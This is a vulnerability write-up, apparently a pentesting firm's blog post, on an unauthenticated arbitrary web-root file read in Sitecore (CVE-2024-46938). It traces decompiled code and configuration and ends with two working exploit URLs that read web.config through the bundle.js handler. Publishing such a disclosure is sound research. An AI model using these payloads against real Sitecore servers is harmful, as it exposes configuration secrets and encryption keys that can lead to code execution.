Arbitrary web root file read in Sitecore before v10.4.0 rev. 010422

As part of our continuous pentesting offering, we try to identify solutions used by multiple clients to guide our research efforts to deliver the greatest impact. That is why, recently, we spent some time searching for vulnerabilities within Sitecore to find what we initially thought to be a 0-day, but ended up having been already patched some time earlier.

DISCLAIMER: Since Friday, I now know why the vulnerability (CVE-2024-46938) had already been patched, as AssetNote just published a blog post detailing their own discovery of the issue here. Since it seems like our analysis and attack vectors are actually slightly different, I thought it would still be interesting to publish this article.

We started off by downloading what we believed to be the latest version of Sitecore XP from their website over here. In our defense, the latest version that could (and still can) be downloaded is still at the time of writing version 10.4.0 rev. 010422, which is the one we analysed.

As often during vulnerability research, one of the first steps involved is identifying accessible endpoints in a Web application. Sitecore is a rather large and complex application and it took us quite a while going through the code base in order to eventually set our eyes on the Sitecore.Resources.Scripts.ScriptHandler class which can be called remotely without authentication.

The DoProcessRequest function in this class will prepare arguments and then run the resolveScript pipeline.

bprivate static bool DoProcessRequest(HttpContext context)
{
       string trimmedUrl = ScriptHandler.GetTrimmedUrl();
       ScriptHandler.SetContentType(context, trimmedUrl);
       bool noCache = ScriptHandler.GetNoCache(context);
       DateTime lastModified = ScriptHandler.GetLastModified(context);
       string etag = ScriptHandler.GetETag(context);
       string text = string.Empty;
       ResolveScriptArgs resolveScriptArgs = new ResolveScriptArgs(trimmedUrl, noCache, lastModified, etag);
       if (SpeakSettings.HttpCaching.ETagEnabled && !resolveScriptArgs.NoCache && !string.IsNullOrEmpty(resolveScriptArgs.LastETag))
       {
               ScriptHandler.LoadFromCache(resolveScriptArgs);
               text = resolveScriptArgs.ETag.ToString();
       }
       if (!resolveScriptArgs.HasContent)
       {
               ClientHost.Pipelines.Run("speak.client.resolveScript", resolveScriptArgs);
               text = resolveScriptArgs.ETag.GetHashedValue();
               if (SpeakSettings.HttpCaching.ETagEnabled && resolveScriptArgs.HasContent && resolveScriptArgs.IsModified)
               {
                        ScriptHandler.SaveToCache(resolveScriptArgs, text);
               }
       }
       // ...snip...
       WebUtil.TransmitStream(resolveScriptArgs.ContentStream, context.Response, Settings.Media.StreamBufferSize);
       resolveScriptArgs.ContentStream.Close();
       return true;
}

By analysing the web application’s configuration files, we can find what the pipeline does, and determine which classes are involved. Interestingly, the Sitecore.Resources.Pipelines.ResolveScript.Bundle processor has an allowedFile directive indicating the /sitecore/shell/client/Speak/Assets folder with no extension restrictions, as shown below.

<speak.client.resolveScript>
	<processor type="Sitecore.Resources.Pipelines.ResolveScript.Main, Sitecore.Speak.Client" />
	<processor type="Sitecore.Resources.Pipelines.ResolveScript.Rule, Sitecore.Speak.Client" />
	<processor type="Sitecore.Resources.Pipelines.ResolveScript.Pipeline, Sitecore.Speak.Client" />
	<processor type="Sitecore.Resources.Pipelines.ResolveScript.Bundle, Sitecore.Speak.Client">
	  <allowedFiles hint="raw:AddAllowedFile">
		<allowedFile folder="/sitecore/shell/client/Speak/Assets" />
		<allowedFile folder="/sitecore/shell/client" extensions="js,css" />
		<allowedFile folder="/-/speak/v1/" extensions="js" />
	  </allowedFiles>
	</processor>
	<processor type="Sitecore.Resources.Pipelines.ResolveScript.ResolveBaseComponent, Sitecore.Speak.Client" />
	<processor type="Sitecore.Resources.Pipelines.ResolveScript.Controls, Sitecore.Speak.Client">
	  <sources hint="raw:AddSource">
		<source folder="/sitecore/shell/client/Speak/Assets" deep="true" category="assets" pattern="*.js" />
		<source folder="/sitecore/shell/client/Speak/Layouts/Renderings" deep="true" category="controls" pattern="*.js,*.css" />
		<source folder="/sitecore/shell/client" deep="true" category="client" pattern="*.js,*.css" />
		<source folder="/sitecore/shell/client/speak/layouts/Renderings/Resources/Rules/ConditionsAndActions" deep="true" category="rules" pattern="*.js" />
		<source folder="/sitecore/shell/client/Business Component Library/Layouts/Renderings" deep="true" category="business" pattern="*.js,*.css" />
	  </sources>
	</processor>
</speak.client.resolveScript>

The Process method of that class is reproduced below.

public override void Process(ResolveScriptArgs args)
{
	Assert.ArgumentNotNull(args, "args");
	if (!args.FileName.StartsWith("bundles/bundle.js", StringComparison.InvariantCultureIgnoreCase))
	{
		return;
	}
	args.AbortPipeline();
	UrlString urlString = new UrlString(args.FileName);
	string text = HttpUtility.UrlDecode(urlString["f"]) ?? string.Empty;
	bool @bool = MainUtil.GetBool(urlString["n"], false);
	bool bool2 = MainUtil.GetBool(urlString["d"], false);
	bool bool3 = MainUtil.GetBool(urlString["c"], false);
	string cacheFileName = this.GetCacheFileName(args.FileName);
	if (bool3 && this.GetCachedFile(args, cacheFileName))
	{
		return;
	}
	if (Bundle.AllowedFiles.Count == 0)
	{
		Bundle.AllowedFiles.Add(new Bundle.AllowedFile("/", "js"));
	}
	List<string> list = new List<string>();
	string[] array = text.Split(new char[] { ',' });
	for (int i = 0; i < array.Length; i++)
	{
		string text2 = array[i];
		string text3 = text2.Trim();
		if (!string.IsNullOrEmpty(text3))
		{
			string phisicalFileName = string.Empty;
			try
			{
				phisicalFileName = FileUtil.MapPath(text3.ToLowerInvariant());
			}
			catch (HttpException)
			{
				goto IL_16A;
			}
			if (Bundle.AllowedFiles.FindAll((Bundle.AllowedFile af) => phisicalFileName.StartsWith(af.Folder, StringComparison.InvariantCultureIgnoreCase)).Any((Bundle.AllowedFile af) => (af.Extensions.Count == 0 || af.Extensions.Exists(new Predicate<string>(phisicalFileName.EndsWith))) && phisicalFileName.StartsWith(af.Folder, StringComparison.InvariantCultureIgnoreCase)) && !list.Contains(text3))
			{
				list.Add(text3);
			}
		}
		IL_16A:;
	}
	StringBuilder stringBuilder = new StringBuilder();
	foreach (string text4 in list)
	{
		this.WriteScript(stringBuilder, args.ETag, text4, @bool, bool2);
	}
	string text5 = stringBuilder.ToString();
	DateTime dateTime = DateTime.MinValue;
	if (bool3)
	{
		FileUtil.WriteToFile(cacheFileName, text5);
		FileUtil.WriteToFile(cacheFileName + ".etag", args.ETag.ToString());
		FileInfo fileInfo = new FileInfo(FileUtil.MapPath(cacheFileName));
		dateTime = fileInfo.LastWriteTimeUtc;
	}
	args.SetContent(text5, dateTime);
}

There are two important parts in the code above. First, the application gets the physical path of the requested file by calling the FileUtil.MapPath method. Then, it verifies that the mapped path starts with any of the folders defined in the AllowedFiles list. If specific extensions are defined, then they are also verified.

The MapPath function is displayed below, where we notice that if the :// sequence is found in the path, it is returned as is. In other cases, it will prefix the provided path with the server’s temporary folder which we want to avoid, as this would make it impossible to have the path verified correctly.

public static string MapPath(HttpContextBase context, string path)
{
	if (path.Length == 0 || path.IndexOf("://", StringComparison.InvariantCulture) >= 0)
	{
		return path;
	}
	int num = path.IndexOfAny(new char[] { '\\', '/' });
	if (num >= 0 && path[num] == '\\')
	{
		return path.Replace('/', '\\');
	}
	path = path.Replace('\\', '/');
	HttpServerUtilityBase server = WebUtil.GetServer(context);
	if (server != null)
	{
		if (path[0] == '/' && StringUtil.RemovePrefix("/", path).StartsWith("-/temp/", StringComparison.InvariantCulture))
		{
			return FileUtil.MapPathWithTempRequestPrefix(path);
		}
		return server.MapPath(path);
	}
	else
	{
		if (path[0] == '/')
		{
			string text = ((!HostingEnvironment.IsHosted || Context.IsUnitTesting) ? State.HttpRuntime.AppDomainAppPath : HttpRuntime.AppDomainAppPath);
			return FileUtil.MakePath(text, path.Replace('/', '\\'), '\\');
		}
		return path;
	}
}

Following the execution of the Process function, it ends up calling the WriteScript function reproduced below which will look for the presence of the | character in the path and consider the filename as being anything after that character. It then reads that file and prints it in the response.

private void WriteScript(StringBuilder output, ETag etag, string fileName, bool injectRequireName, bool injectDefine)
{
	string text = fileName;
	int num = fileName.IndexOf('|');
	if (num > 0)
	{
		text = fileName.Left(num);
		fileName = fileName.Mid(num + 1);
	}
	string text2 = ClientHost.Scripts.ReadResolvedScriptFile(fileName, etag);
	if (injectDefine)
	{
		text2 = ClientHost.Scripts.InjectDefine(text2, text);
	}
	if (injectRequireName)
	{
		text2 = ClientHost.Scripts.InjectRequireName(text2, text);
	}
	output.Append(text2);
	output.Append("\r");
}

Understanding these various code snippets above shows that it is possible to load arbitrary files from the web root by indicating a whitelisted path in the f parameter and then appending the | character followed by the file that we actually want to read.

There are two “restrictions” that come into play for various reasons you might have spotted or guessed from the code snippets above:

  • we need to know the physical location of the web root on the server;
  • we can only read files under the web root.

The second restriction still allows us to read all configuration files which will typically contain encryption keys, which sometimes then allow for code execution. For the first, I haven’t found a way around it, so bruteforcing folder names may be required, though it should be noted that the Sitecore installer will install Sitecore into c:\inetpub\wwwroot\{hostname}. I’m not sure how many people use the installer, but it could certainly help in exploiting the issue.

In any case, a final exploit payload would look this:

https://target/-/speak/v1/bundles/bundle.js?f=C%3a\inetpub\wwwroot\{sitecore}\sitecore\shell\client\Speak\Assets\%3a//asdf|../../../../web.config

Some further analysis showed that there is an even simpler way of achieving the same result with the following URL:

https://target/sitecore_speak.ashx?1=/-/speak/v1/bundles/bundle.js?f=C%3a\inetpub\wwwroot\{sitecore}\sitecore\shell\client\Speak\Assets|web.config

This issue was initially reported to Sitecore mid-June this year, and 2 months later, after several back-and-forths with Sitecore, we were notified that the vulnerability had already been patched in version 10.4.1 rev. 010874 PRE (details by AssetNote over here). We did think something must have been going on since none of our customers in scope of our continuous pentesting service could be exploited. I haven’t figured out where to actually download the latest version without a valid Sitecore customer account though, so I can’t verify what the fix actually does.